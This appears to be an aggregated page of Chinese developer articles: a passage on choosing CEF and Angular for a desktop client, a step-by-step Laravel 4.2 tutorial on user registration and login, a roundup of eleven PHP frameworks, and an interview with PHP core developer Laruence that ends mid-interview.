StarUML2 是基于 NW.js（原名node-webkit），NW 是基于Chromium 和 node.js，利用 web 方式开发跨平台桌面应用的平台技术。
StarUML 上有很多很复杂的 UI 控件，这些控件是由 Kendo UI 提供。Kendo UI 是一款杰出的 Web UI 框架，貌似是收费的。Kendo UI 还提供了 AngularJS 的版本。

钉钉

看安装后的目录和文件，目测应该是基于 NW.js + AngularJS

Atom、Visual Studio Code、Electron

除了 CEF、heX、nw 之外，还有一个比较新的利用web技术构建跨平台桌面软件的平台：Electron。同样，Electron 的底层也是基于Chromium 和 node.js。这个项目由 GitHub 发起和维护。最近特别火的两款编辑器 Atom 和 Visual Studio Code 都是基于 Electron 开发的。

最后，小白同学决定还是使用 CEF。原因很简单：他在 CEF 的坑里面摸爬滚打过，熟悉。

平台已经确定使用 CEF 了，但是单页应用用什么技术好哩？上面一路看下来，其实我内心已经很偏向 AngularJS 了。

Angular、React、Vue、Avalon、Backbone

前端框架遍地开花，选得我眼花缭乱的。我最后综合了：框架成熟度、社区活跃度、第三方组件数量、背后干爹、GitHub Star 数目、成熟案例、搜索引擎关键字热度、百度指数、文档和资料数目……等等一系列因素，艰难地决定使用 Angular（其实是我一拍脑袋决定的）。

当然，为了说服项目经理，我还是花了一个下午的时间边看 Angular 文档边看产品经理的原型，写了一个比原型还丑一百倍的 demo，只是产品的一个架子雏形。demo 丑得惊为天人，同事们可能也就在心中吐槽了一把，并没有什么其他反应。当我把 JS 文件打开给同事们看时，里面只有几十行代码。如果是用 jQuery，实现同样的功能代码量肯定是多出很多的。于是，大家就一致同意使用 Angular 了。其实，在写的过程中，我就对于 Angular 双向数据绑定、几乎无需操作 DOM 的特性给折服了。这大概是从 jQuery 风格突然跳出来时特有的激动吧。

前端框架也定了，后端就是提供 API 接口了。我本来是想用 Laravel +dingo/api 的，但是考虑到我们人少和工期都十分有限。另一名 PHP 同事建议直接将原有系统的代码 copy 一份，将返回 html 视图的页面直接改为返回 json 数据。新增的接口继续在原有系统上添加。这样开发速度最快，大家欣然接受。

于是，我们巴拉巴拉地开始这个项目了。
产品经理产出原型->
设计师根据原型产出设计图->
前端同事切图，编写HTML和CSS->
我负责写大部分的 Angular 代码和极少数的 PHP API 接口->
另外一名 PHP 同事写少部分的 Angular 代码和绝大数的 PHP API 接口->
C++ 同事附近写客户端相关的一些功能

没图我会乱说？
这是在客户端中的效果：








这是在浏览器中的效果：






最后，总结下吧。

优点：

跨平台：
本质上还是网页，所以跨平台不必多说。移动端也有 inoic 这个方案。

前后端彻底分离：
一般服务端的 MVC 架构，都会有视图这个概论，返回给浏览器端的是 HTML。这就意味着，服务端程序员还是需要写视图，需要将前端给的页面改成模板。但是，采用 Angular 这些前端框架，服务器就只需要提供接口，返回 json 数据。这样，前端和后端就彻底分离开了。每次老板说要大改版时，服务端接口不用变，前端就是最苦的了。

纯API接口：
上面说过，服务端以往对于浏览器请求返回 HTML，对于移动端请求，一般是返回 json 数据。但是，如果使用前端框架都走 API 的形式，那么就真是大统一了。不管是 web 站点、Android 客户端、iPhone 客户端、window phone 客户端，统统都只返回接口数据。

可测试性：
API 接口降低了服务端单元测试的难度，而 Angular 本身也提供了测试套件，让前端应用更加易于测试。（我并没有实践过，原因懂的）

缺点：

SEO：
Angular 基本都是利用 ajax 异步获取数据，这样对于搜索引擎是不太友好的。但是，如果是工具类应用（例如：web 即时聊天室、网站管理后台），重点并不是在内容上，就不用太顾忌这个缺点。

浏览器兼容性：
做 web 的，浏览器兼容真是一个老大难的问题。Angular 在 1.3 后就减少了对 IE8 的支持了。

项目难度：
如果用 Angular 做一般 web 项目，是非常容易的。但是，如果真的是要达到客户端交互的体验，这个肯定是有难度的。不过，这一点不是针对 Angular，而是说想用 web 技术实现客户端交互体验这件事本身是有难度的。

前端人才：
Angular 本身还是有一定难度的，很多概念还是从服务端引入的，专注于前端开发的工程师可能难以适应。而要找到懂设计懂 UI，逻辑抽象、编码能力还很强的前端工程师确实是件比较困难的事情。
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Laravel身为最优雅的PHP框架，很多学习PHP的小伙伴造就对Laravel垂涎欲滴。今天就来实现你的愿望，让我们一起从零开始，利用Laravel实现Web应用最常见的注册和登录功能！所有的课程源码已放在Github上：laravel-start. Race Start !


首先我们来明确一下我们这个课程需要的东西：



	Laravel 4.2

	Bootstrap 3.3



Laravel就是我们关心的核心部分，Bootstrap用来快速设置一些前端的CSS样式。


1.安装Laravel


简单说明之后我们来进入下一步，安装Laravel，在这我们是通过Composer来安装，打开命令行终端，执行：


cd Sites



Sites就是web应用的根目录，你可以根据需要换成你自己的根目录，然后再执行：


composer create-project laravel/laravel laravel



laravel就是你的应用目录名，你可以取一个你喜欢的名字。执行上面的命令之后，等一段时间（毕竟在国内，网速是个大坑）,安装完以后你会得到这一堆目录：





我们主要操作models和 controllers和 views这三个目录：这就是MVC的构成啊！


2.安装Bootstrap


然后再命令行执行：


cd laravel/public/packages



这里的laravel与上面的应用目录对应，如果你在安装的时候用了其他的名字，请对应换上。来到packages这个目录后安装Bootstrap，直接在命令行执行：


bower install bootstrap



这个比较快，然后等这个下载完之后你就会得到最新的稳定版Bootstrap。在目录packages目录下的 bower_components/bootstrap/dist/这里就包含了Bootstrap的css,js,fonts这三个我们在开发过程中经常用到的样式文件，js和字体文件。成功后你将看到这个：






  注：这里使用的bower这个工具，它负责管理一些前端的包。




到这里，我们的前期工作已经准备好了。不过在进入下一步之前，我们得先确保我们的laravel/app/storage目录有相应的写入权限，所以回到laravel目录，如果你在安装完bower之后没动过命令行，可以直接通过：


cd ../../



回到laravel目录，然后在执行：


chmod -R 755 app/storage



这一步搞定之后我们就可以进入真正的开发阶段了。


3.配置数据库并建表：


在开始配置之前，我们要为我们的laravel应用创建一个数据库，我将它命名为laravel-start,





然后在编辑器中打开app/config/database.php文件，对相应的数据库配置项填入，如：


'default' => 'mysql',

// 数据库连接

'connections' => array(

    'mysql' => array(
        'driver'    => 'mysql',
        'host'      => '127.0.0.1',
        'database'  => 'laravel-start',
        'username'  => 'root',
        'password'  => '',
        'charset'   => 'utf8',
        'collation' => 'utf8_unicode_ci',
        'prefix'    => '',
    ),



连接完数据库之后，还得创建一个Users表，你可以直接在数据库中创建Users表，也可以利用Laravel的artisan来创建，这里我们使用Laravel的artisan来建表，顺道了解一点点关于Laravel migrate的知识。执行下面语句：


php artisan migrate:make create-users-table



以上命令会创建一个migrate文件（文件位于app/database/migrations目录下），这个文件的名字就是create-users-table，然后我们可以通过编辑刚刚生成的migrate文件来创建Users表。


public function up() {
       Schema::create('users', function($table){
        $table->increments('id');
        $table->string('username', 20);
        $table->string('email', 100)->unique();
        $table->string('password', 64);
        $table->string('remember_token',62)->default('default');
        $table->timestamps();
        });
}



上面的方法使用了laravel的Schema Builder类，上面这段代码使用up()方法的创建一个users表，这个表里有5个字段：id自增 ，username长度20以内 ，email长度100以内并且是唯一的 ，password长度64以内 ，remember_token是为了在登录的时候更方便实用，Laravel会自动将token值填充进来，但在最开始你必须设一个默认值,timestamp当前的时间戳。在这我们需要注意的一点是：最好在down()加上下面的代码，以防某天我们需要删除Users这个表。


public function down()
{
    Schema::drop('users');
}



上面的都做好以后，执行一下下面这一句神奇的命令：


php artisan migrate



有图有真相：





终于，我们的前奏搞完了，可以正式来鲁Laravel了。


4.启动服务来试试


直接在laravel目录执行：


php artisan serve



打开浏览器，输入localhost:8000，回车，Bingo！

OK，先给自己三十秒的掌声时间，如果你顺利地走到了这一步的话。恭喜你，你已经进入Laravel的大门，更多惊喜我们再一一道来.....


5.创建公用视图


好了，我们现在开始了，首先在app/views/文件夹下创建一个layouts文件夹，再再这个文件夹下新建一个php文件，命名为main.blade.php,在这个文件里写上下面这些代码：


<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>发现Laravel 4之美</title>
    </head>

    <body>

    </body>
</html>




  PS:layouts文件夹通常用来存放视图文件的功用部分，比如一些网页的头部<header>和尾部<footer>,这里就是存放了头部<header>部分




感觉main.blade.php的名字很奇怪？不用担心，Laravel的视图文件命名遵循filename.blade.php的规则，因为Laravel是用Blade这个模板引擎解析的，你不用深究，就照着上面的名字规则来命名视图文件就OK


为视图文件添加CSS样式：


<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>发现Laravel 4之美</title>
       {{HTML::style('packages/bower_components/bootstrap/dist/css/bootstrap.min.css') }}
        {{ HTML::style('css/main.css')}}

    </head>

    <body>

    </body>
</html>



没错，就是在原来的main.blade.php的基础上添加两行代码；然后我们来创建我们的main.css,这个主要是用来放我们自己定义的样式。在public文件夹下创建css文件夹，在css文件夹创建main.css文件，大功告成。


添加导航栏。在main.blade.php文件的<body>标签中加上以下代码：


<body>
        <div class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">

                    <a class="navbar-brand hidden-sm" href="/">Laravel新手上路</a>
                </div>


                <ul class="nav navbar-nav navbar-right hidden-sm">
                    <li>{{ HTML::link('users/register', '注册') }}</li>
                    <li>{{ HTML::link('users/login', '登陆') }}</li>
                </ul>

            </div>
        </div>
</body>



上面只是引用了一些简单的Bootstrap的class，也没什么难的，不用伤心。


到这里基本的功用部分就结束了，但是我们的追求从不会这么low，所以为了更好地与用户交互，我们希望在用户进行某个操作之后给出一些反馈，比如注册成功的时候说:少年，你已成功注册本站，恭喜恭喜。等，于是乎，我们再为main.blade.php添加一点点代码：


        <div class="container">
            @if(Session::has('message'))
            <p class="alert">{{ Session::get('message') }}</p>
            @endif
        </div>



为了现实这些反馈信息给用户，我们得使用Session::get('message')方法，当然，我们得首先从逻辑上判断一下这个message是否存在，所以这里用了一个简单的if判断。



  在blade引擎的视图中if 的使用格式是




@if(conditions) 

#code...

@endif



到这里就结束了么？NO，如果到这里就结束的话，其他的视图文件是怎么插入main.blade.php的<body></body>之间的呢？所以，不要忘了还有一个重要的事：{{ $content }},于是乎，上面的代码就变成了这样：


        <div class="container">
        @if(Session::has('message'))
        <p class="alert">{{ Session::get('message') }}</p>
        @endif
        {{ $content }}
        </div>



{{ $content }}在这里就是表示其他的视图文件内容，你可以在理解上将其他的视图当作一个字符串来理解，只不过这个字符串很长，而且恰好包含了HTML标签而已。下面你将体会到这种想法。


创建完我们的公用视图main.blade.php后，我们先来为main.css添加我们的CSS样式：


body {
     padding-top: 60px;
 } 
.form-signup, .form-signin {
     margin: 0 auto;
 }




因为我们在main.blade.php文件中使用了<div class="navbar navbar-inverse navbar-fixed-top">，Bootstrap的navbar高为40px，所以我将body样式设为padding-top: 60px;避免下面的注册表单被navbar覆盖。


终于要进入正题


我擦，前面搞这么久才进入正题？对的，我说的是从这里开始我们就开始进入Laravel的Controller世界了，别高潮那么快，更好的事情还在后头。


6.创建UsersController


来到app/controllers文件夹，并在这里创建UsersController.php文件并加入下面的代码:


<?php 
class UsersController extends BaseController {

}
?>



然后告诉我们的UsersController我们要使用main.blade.php作为我们的layouts，所以：


<?php 
class UsersController extends BaseController {
    protected $layout = "layouts.main";
}
?>



这里使用了路径别名，你不用layouts/main.blade.php,你只需要layouts.main，Laravel会自动帮你找到layouts下相应的文件。


7.实现注册


接着为我们的UsersController添加用户注册时访问到的方法：


public function getRegister() {
    $this->layout->content = View::make('users.register');
}



这里我们将content制定为users/register.blade.php文件（我们等下会创建这个文件），如果你够细心的话，你可能就注意到了：这里的content就是上面我们在main.blade.php写的{{ $content }}，也就是说等下渲染视图的时候，我们的users/register.blade.php文件会替换掉main.blade.php的{{ $content }}进行显示。现在，清晰了没？还不清晰？随时联系我....如果你不嫌我长得丑的话。


自然而然的，我们现在要做的就是创建users/register.blade.php这个文件了，来到views文件夹 ，创建一个新的文件夹users/,再在里面新建register.blade.php，写上下面这些内容：


{{ Form::open(array('url'=>'users/create', 'class'=>'form-signup')) }}
<div class="container">
    <div class="row">
        <div class="col-md-4 col-md-offset-4">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <h3 class="panel-title">欢迎注册</h3>
                </div>
                <div class="panel-body">
                {{ Form::open(array('url'=>'users/create', 'class'=>'form-signup')) }}


                    <ul>
                        @foreach($errors->all() as $error)
                            <li>{{ $error }}</li>
                        @endforeach
                    </ul>

                    <fieldset>
                        <div class="form-group">
                            {{ Form::text('username', null, array('class'=>'form-control', 'placeholder'=>'用户名')) }}
                        </div>
                        <div class="form-group">
                        {{ Form::text('email', null, array('class'=>'form-control', 'placeholder'=>'邮箱')) }}
                       </div>
                        <div class="form-group">
                        {{ Form::text('password', null,array('class'=>'form-control', 'placeholder'=>'密码')) }} 
                        </div>                       
                        <div class="form-group">
                        {{ Form::text('password_confirmation', null,array('class'=>'form-control', 'placeholder'=>'确认密码')) }}
                       </div>
                        {{ Form::submit('马上注册',array('class'=>'btn btn-large btn-success btn-block')) }}
                    </fieldset>
                {{ Form::close() }}

                </div>
            </div>
        </div>
    </div>
</div>



这里我们使用了Laravel的Form类来创建我们的注册表单，首先调用open()方法，表示创建表单的开始，并且我们也为其通过数组的形式传人一些参数，url表示表到提交的地址，class就是表示CSS样式的类。接下来我们使用了：


@foreach($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach



@foreach循环将每个表单的错误信息输出。因为我们在让用户注册的时候总是要验证一下用户输入的数据是否满足我们设定的规则，比如邮箱这一栏我们规定它必须为正确的邮箱形式，而如果用户没有输入正确的邮箱格式，我们就会返回错误信息给用户看。That's it.


再下来需要说明的就是几个Form输入框的创建方式了：


{{ Form::text() }} //创建type=text 输入框
{{ Form::password() }}//创建type=password 输入框
{{ Form::submit() }}//创建type=submit 输入框



各个输入框的值我们都设为null，因为我们用placeholder来更好的替代了，第三个参数是你可以通过一个数组来传人相应的HTML选项来实现我们的布局，比如上面的array('class'=>'form-control', 'placeholder'=>'确认密码')等。


最后别忘我们要用{{ Form::close() }}来结束表单。


到这里我们就把注册页面搞定了，紧接下来就是正确地设置好我们的路由以使我们能正确访问到我们的getRegister()方法。于是，带着神圣的使命感，我们打开app/routes.php这个文件，首先可以将里面的：


Route::get('/', function()
{
    return View::make('hello');
});



这几行代码干掉（你可以注视掉或者直接删了，建议是注释），然后再添上下面这一行代码；


Route::controller('users', 'UsersController');



注意到第一个参数users没，这个告诉就是说我们在访问UsersController的方法的时候我们遵循下面这个格式：


/users/actionName



比如我们想访问UsersController的getRegister()，我们可以在浏览器地址栏输入的格式是：


/users/register



于是，打开你的浏览器，在地址栏输入：


http://localhost:8000/users/register



见证奇迹吧。是不是很爽！哈哈哈。





如果现在你在这个注册表单添上相应的注册信息，然后点击注册的话，你会得到一个意外的错误:NotFoundHttpException!那是因为我们还没有为注册表单写提交地址:users/create。所以我们自然要来到UsersController中，为其添上postCreate():


public function postCreate() {

}



这样我们就把地址users/create正确地搞定了，只是我们还没有为其添加相应的条件判断语句，因为我们首先要在这里说明一点就是：getRegister()和postCreate()的不同，没错前面的get或post就是代表http的提交方式，我们在注册表单中使用的是post方法，所以这里要使用postCreate()。


说明上面的细节之后，我们还要做一件非常重要的事：表单验证。即是先在用户提交表单的时候验证其输入数据的合法性，以便于我们在数据库中能存储正确的数据，这里就联系到前面的：


    @foreach($errors->all() as $error)
    <li>{{ $error }}</li>
    @endforeach



这里的$error就是我们在用户输入数据不合法的时候返回给用户的错误提示信息。所以，我们现在app/models/User.php中添加我们的表单验证规则(我一般将验证规则放在模型modal中)：


public static $rules = array(
    'username'=>'required|alpha|min:2',
    'email'=>'required|email|unique:users',
    'password'=>'required|alpha_num|between:6,12|confirmed',
    'password_confirmation'=>'required|alpha_num|between:6,12'
    );



说明一下上面的一些规则表示什么意思:


required:必填的，不能为空
alpha:字母
email:邮件格式
unique:users:唯一，参考users表的设置
alpha_num:字母或数字
between:长度位于哪两个数字之间
confirmed:需要确认的




在我们有了验证规则，我们再来完善我们的postCreate()，即为其添加一些条件判断使用户在注册时可以保存用户的注册信息和进一步引导用户到登陆页面：


我们来一步一步地理清思路：首先判断用户提交的数据是否通过了验证


public function postCreate() {
    $validator = Validator::make(Input::all(), User::$rules);

    if ($validator->passes()) {
        // 验证通过就存储用户数据
    } else {
        // 验证没通过就显示错误提示信息    
    }
}
}



上面我们通过Input::all()来获取表单传过来的值，又调用User::$rules来获得验证规则，最后通过把这两个以参数的形式传入Validator::make()实现验证，下面的判断语句就很清晰了，验证通过后干嘛，没通过又该干嘛。思路清晰就OK。


接着我们再来完善我们的postCreate()代码：


if ($validator->passes()) {
    $user = new User;//实例化User对象
    $user->username = Input::get('username');
    $user->email = Input::get('email');
    $user->password = Hash::make(Input::get('password'));
    $user->save();

    return Redirect::to('users/login')->with('message', '欢迎注册，好好玩耍!');
} else {
    // 验证没通过就显示错误提示信息      
}



上面的我们通过Input::get('fieldName')来获得相应的表单输入框的值，这里需要注意的是我们对密码进行了加密，因为我们都是棒棒的工程师，不会像之前的CSDN一样保存明文密码的，所以在密码这一栏我们使用Hash::make()来加密传入的密码。然后我们通过$user->save()来将我们的数据保存到数据库中。数据保存之后，我们用Redirect::to()将页面跳转到users/login,并通过width将注册成功的信息返回给用户。



  Redirect::to()的参数规则是:controller/action。前面是控制起，后面就是具体的方法名。




上面是验证通过的情况，现在我们看看验证没有通过的情况：


if ($validator->passes()) {
    $user = new User;//实例化User对象
    $user->username = Input::get('username');
    $user->email = Input::get('email');
    $user->password = Hash::make(Input::get('password'));
    $user->save();

    return Redirect::to('users/login')->with('message', '欢迎注册，好好玩耍!');
} else {
    return Redirect::to('users/register')->with('message', '请您正确填写下列数据')->withErrors($validator)->withInput();    
}



这里如果用户没有通过验证，我让其重定向到注册页，并通过withErrors($validator)将错误信息传到注册页面，通过withInput()将没有输错的数据也传给注册页面（正确来说是传给register方法，不过你可以根据上面那样理解，个人觉得也还OK），这样一来，我们就有了错误信息和一些正确的表单信息（不用用户多次输入），以提高整个过程的用户体验。


再进一步，我们在开发的时候永远不要忘记一件很重要的事：安全。那么在这里我们需要POST提交表单，我们就要保证它不会被CSRF攻击，解决这个问题我们需要在UsersController里添加下面的代码：


public function __construct() {
    $this->beforeFilter('csrf', array('on'=>'post'));
}




  构造方法请放在其他方法前面。




8.实现登录


接下来的一步就是创建login的视图文件了，我们依旧来到我们最熟悉的views/users/下，新建文件名为login.blade.php的文件，在里面放上以下的代码：


<div class="container">
<div class="row">
    <div class="col-md-4 col-md-offset-4">
        <div class="panel panel-default">
            <div class="panel-heading">
                <h3 class="panel-title">欢迎登录</h3>
            </div>
            <div class="panel-body">
                {{ Form::open(array('url'=>'users/signin', 'class'=>'form-signin')) }}
                <fieldset>
                    <div class="form-group">
                     {{ Form::text('email', null, array('class'=>'form-control', 'placeholder'=>'邮箱')) }}
                    </div>
                    <div class="form-group">
                     {{ Form::password('password', array('class'=>'form-control', 'placeholder'=>'密码')) }} 
                    </div>
                     {{ Form::submit('马上登录',array('class'=>'btn btn-large btn-success btn-block')) }}

                </fieldset>
                {{ Form::close() }}
                  <hr/>
            </div>
        </div>
    </div>
</div>
</div>



这里的一些要点跟register.blade.php一样，你不明白的话可以看看前面的。然后我们需要在UsersController里面定义getLogin()方法：


public function getLogin() {
    $this->layout->content = View::make('users.login');
}



这里也是指定了content的模版为users/login.blade.php，道理跟前面一样。

这时候我们就可以注册新用户了，如果你的浏览器还保留在http://localhost:8000/users/register你可以试着输入你的用户名，邮箱，密码来注册一个，当然你也可以故意输错，看看会有什么信息返回给你。enjoy！


正常情况下，你注册完之后就吼跳到登录界面（已经写好了），但是我们在登录的时候也需要验证，如果你仔细看上面的login.blade.php的话，你会发现我们在这里将用户的登录表单提交地址设置为
'url'=>'users/signin'，所以接下来的一步就是为UsersController补充postSignin()方法：


    public function postSignin() {
    if (Auth::attempt(array('email'=>Input::get('email'), 'password'=>Input::get('password')))) {
        return Redirect::to('users/dashboard')->with('message', '欢迎登录');
    } else {
        return Redirect::to('users/login')->with('message', '用户名或密码错误')->withInput();
    }
}



这里我们使用Auth类来验证用户输入的信息是否和数据库的信息一致，如果验证通过，那么我们就将用户重定向到users/dashboard，如果没通过，就重新跳回登录页，情况跟注册时候几乎一模一样，我相信你看得懂。


既然是重定向到users/dashboard那么我们就来写写getDashboard()方法，到这里可能不用我说你都知道应该在UsersController添加下面的代码：


public function getDashboard() {
    $this->layout->content = View::make('users.dashboard');
}



这里再多说一句，这个Dashboard的页面一般是在登录后才能看到的，为了限制一些没登录的人到处乱逛，我们只需要在UsersController中的构造函数加一行代码，变成这样的：


    public function __construct() {
    $this->beforeFilter('csrf', array('on'=>'post'));
    $this->beforeFilter('auth', array('only'=>array('getDashboard')));
}



现在逻辑是不是很清晰，我们接下来的一步自然是创建dashboard.blade.php文件了，这个从getDashboard()看出我们依然是将这个视图文件存在views/users/目录下，我们就简单地在dashboard.blade.php写上几行入门级的HTML：


<div class="welcome">
    <center>
    <a href="http://www.jellybool.com" target="_blank">
<img src="https://wt-prj.oss.aliyuncs.com/766e22da1e8c467a8af35d90c9185409/7680dd9d-c0e4-42ea-86b8-ddd63d07faa6.png" >
</a>
    </center>
    <center><h1>欢迎来到管理面板！</h1></center>
</div>



写到这里我们还不能登录，因为在Laravel中auth过滤(filter)会默认将没登录的用户重定向到/login,但我们需要的是重定向到users/login，所以我们需要自定义我们的filter规则,打开app/filter.php，在代码的开始加上下面的代码：


Route::filter('auth', function()
{
    if (Auth::guest()) return Redirect::guest('users/login');
});



到这里就大功告成了，如果你之前注册了一个用户，请用你的邮箱和密码到


http://localhost:8000/users/login






尝试登录一下，你会发现：Bingo！！！登录进去了！





9.实现退出


但是细心的你发现了没，我们还有一个需要完善的地方.....没错！就是我们的导航，我们已经登录进去了，它还是显示登录和注册，不科学啊！所以回到最初我们的main.blade.php在链接部分我们将它改为：


          <ul class="nav navbar-nav navbar-right hidden-sm">
          @if(!Auth::check())
               <li>{{ HTML::link('users/register', '注册') }}</li>
               <li>{{ HTML::link('users/login', '登陆') }}</li>

            @else
            <li>{{ HTML::link('users/logout', '退出') }}</li>
            @endif
            </ul>



没错，我们为导航这里加入了条件判断语句，如果用户没有通过Auth::check(),也就是没有登录的话，我们显示登录和注册，如果登录了就显示退出，





既然有了users/logout这个链接，那么我们就会想到在UsersController写这个getLogout()方法，而且这个方法是负责清理用户的登录信息的，所以：


public function getLogout() {

        if(Auth::check())
        { 
            Auth::logout();
        } 
    return Redirect::to('users/login')->with('message','你现在已经退出登录了!'); 

    }




这里我们Auth::logout()将用户的登录信息（主要就是session信息）清除掉，然后再将用户重定向到登录界面。





10.最后的最后


这个小教程写到这里就基本结束了，希望各位玩的愉快。最后多说一句：编程是我们最容易学习的超能力，永远要相信自己可以改变世界！


Thank You all.


 推荐给开发者的11个PHP框架

作者：LuOka

来源： 推荐给开发者的11个PHP框架



                    
PHP框架对于Web开发者来说是非常有用的工具，它可以帮助使用者更快、更容易的完成项目。根据调查，PHP仍是Web开发中最受欢迎和最实用的平台之一。当谈及Web开发时，很多人依然会选择使用PHP框架，利用框架的特点简化工作。框架最大的好处就是可以去掉重复冗余的代码，节省维护的时间和精力。因此，我汇总了下面这些PHP框架，无论你是PHP专家还是小白，都可以学习和使用。


1.Agavi






Agavi是一个强大的，可伸缩的遵循MVC模型的PHP5应用程序框架。它可以帮助开发者写出简洁、易维护和扩展的代码。它为构建和部署基于PHP的Web应用程序提供全面的工具，关注于长远的维护质量。


2.FuelPHP






FuelPHP是一个简单的、灵活的、社区驱动的PHP5.3web框架，它借鉴了其他框架的优点，非常便携，几乎所有的服务器都能够很好的支持，并且简洁强大的语法也能够让你很快喜欢上它。


3.Webasyst






Websyst是一个系列的Web应用，用户可以组队合作制作网站。这是一个电子商务+建站+合作的平台。


4.ZendServer






ZendServer是PHP创始公司Zend开发的PHPWeb开发应用服务器，是一个现成的PHP解决方案，可以简化Windows和Linux环境中PHP应用程序的开发和运行。它自动化了开发工作，提供最佳的后端平台，确保应用的使用和性能。


5.CodeIgniter






CodeIgniter是一套给PHP网站开发者使用的应用程序开发框架和工具包。你只需要一个简洁的工具包就可以创造出功能齐全的Web应用。


6.CakePHP






CakePHP是一个基于PHP，免费且开源，迅速发展的框架，参考了MVC等著名的设计模式。它提供程序员所需要的基本体系架构，程序员可以使用它更快速且不失灵活性地创建网络应用程序，让各种层次的PHP开发人员快速地开发出健壮的Web应用。


7.TYPO3Flow






TYPO3Flow是一个Web应用平台，帮助开发者创造优秀的web解决方案，找回编程的乐趣。它是复杂应用的可靠基础，同时还有着TYPO3这个强大PHP社区的支持。





8.Nette






Nette是PHP进行web开发的实用工具，它被设计为最实用和最安全的框架，简化你的工作。


9.Slim






Slim是一款基于PHP的web开发微框架，帮助PHP开发者快速编写简单强大的web应用和API。Slim的接口简单且符合直觉，文档也很详细。


10.Phalcon






Phalcon是作为C扩展实现的一个web架构，性能高，资源消耗低。用纯C语言编写，可以说是最快的PHP框架。


11.Aura






Aura是一个事件驱动的、可扩展的架构。它最大的目标是提供高质量、测试完善、符合标准以及低耦合的类库。这意味着你使用该框架有很大的自由度。


P.s. PHP100近期启动了#话题讨论#活动，第1期的主题是“Web开发学习线路大讨论：HTML、CSS、JavaScript、PHP、MySQL、网络协议，你最先学什么？” 很多小伙伴们已经分享了他们的看法，大家共同讨论学习，期待你的建议~


原文：http://idesignpixel.com/2015/php-frameworks/

译文：http://www.php100.com/html/dujia/2015/0310/8747.html

（翻译：PHP100_Zeroing）


 惠新宸：我也曾经是“不适合”编程的人

作者：图灵访谈

来源： 惠新宸：我也曾经是“不适合”编程的人



                    

  非商业转载请注明作译者、出处，并保留本文的原始链接：http://www.ituring.com.cn/article/142454




惠新宸@Laruence，是国内最有影响力的PHP技术专家，PHP开发组核心成员，PECL开发者，Zend公司外聘顾问。他曾供职于雅虎，百度，现在新浪微博任平台及数据部总架构师兼首席PHP顾问。惠新宸 是PHP NG核心开发者，PHP5.4，5.5的主要开发者。作为PECL开发者贡献了Yaf ，Yar以及Yac、Taint等多个优秀开源作品，同时也是APC，Opcache，Msgpack等项目的维护者。


从一个在网上搜PHP教程的初学者，到PHP开发组核心成员，惠新宸觉得整个过程就像“打怪升级”。和Java一样也被称为蓝领语言的PHP，在他看来恰恰是能够培养更多编程者的摇篮，而人人都能编程的时代，势必会产生更多能够推动技术进步的牛人。他在博客风雪之隅上分享关于PHP语言和Zend引擎相关的研究、技术、新闻。左手代码，右手诗。





问：你是如何开始对编程感兴趣的？


我第一次进行“编程”好像还是在小霸王学习机上。后来大学学的是计算机，研究生的时候负责学校校园化建设，主动或者被动地做了很多Web开发工作，包括当时学校很多二级部门的网站，校园BBS的维护等。 想想好像也没有那么一件事，或者一个契机说我就喜欢上编程了。就感觉很自然地就做了这个行业，也没有觉得不喜欢，就这么做下来了。


问：你是如何喜欢上PHP的？你又是如何成为PHP开发组核心成员的？


当时在研究生的时候要做一个网站，完全不会的情况下就去网上搜，刚好搜到一个PHP的教程，教怎么做一个简单的网站，于是试着照着做了一下，发现无论从安装、部署（当时还没有那种集中化部署工具，不过也有很多教程教怎么部署LAMP）、编写代码，测试都很方便，语法还和C语言很像，甚至很多API的名字也和libc API的一样。于是就这样开始了和PHP的不解之缘。


应该是在2011年吧，那个时候为百度开发了Ap（Yaf的前身项目），当时在百度内部用的还不错，于是我想着要贡献到PECL上去，修改了一些以后，改名为Yaf（Yet another framework，这个名字也是有点自嘲的意思，因为PHP的框架非常多），就发邮件到PHP的邮件组，因为英语比较烂，所以过程还是比较曲折，好在当时Pierre Joye帮助我了很多，让Yaf进入了PECL。


另外在提交Yaf之前我其实一直都在研究PHP的源代码，所以也提交了不少Bug和Fix，比如我记得有一天中午，Rasmus（PHP之父）在IRC上说发现一个Bug，我差不多5分钟后就给出了Fix。


等慢慢的和一些人熟悉，得到了大家的信任以后，我就发起申请，之后就获得了PHP核心代码的提交权限，参与到PHP的直接开发和Bug修复中，成为了开发组的一员。


至于说核心么，那是慢慢积累来的，其实也是一个互信的过程。如果你的工作大家认可，那么就会尊重你的意见。我慢慢地和Dmitry Stogov变的熟了起来，得到了Zend核心部分的提交权限，提交了很多核心Bug的修复和新特性，再后来成为了Zend外聘顾问，慢慢成为了Core Developer。


听起来好像有点打怪升级的感觉吧。


问：你是在什么样的契机下开发了Yaf？当时百度是如何支持Yaf开发的？


在Yaf之前，关于使用不使用框架其实一直有一个经典的争论就是：“使用框架会降低性能，而不使用框架会降低开发效率。”


当时百度内部的框架很多，包括开源的Yii，ZF之类的，也包括有的团队自己写的。这样有一个问题就是类库，一些周边设施没有办法互通。


还有一个原因就是，很多框架作者把框架发布出去以后，会发现不同的人会对框架做各种修改，导致时间久了，一个框架发出去，就变成了各种变种，后续统一升级也变得不可能。


所以，我决定要用PHP扩展实现一个框架来解决这些问题，当然在写这个扩展之前其实也不是很有信心，不知道采用扩展能带来多大的性能提升。好在最后的结果是很好的。


问：为什么选择用C语言来写Yaf？


PHP是C语言写的，所以他的扩展也是采用C语言来写的，于是就选择了C语言来写Yaf。


问：为什么会离开百度，来到新浪微博？


这个其实原因很多，比如当时在百度是T7了，业务上的事情参与得少了，感觉自己好像没有那么多事情要做，有点虚度的感觉。


另外，我当时在百度的商业搜索部，并不直接接触访问量大的系统，所以也希望找个大的平台再锻炼下，而微博刚好就是这样一个平台。


来了微博以后，确实接触到了很多之前没有遇到过的挑战，也感觉自己的知识有了更大的舞台可以发挥。


问：你现在在新浪微博具体负责的工作是什么？


我现在在微博技术部，带着一个基础服务小组，我们主要的工作也分阶段，前两年的主要工作就是做微博LAMP的性能优化，包括各种基础框架，工具研发，环境优化，规范制定等等。


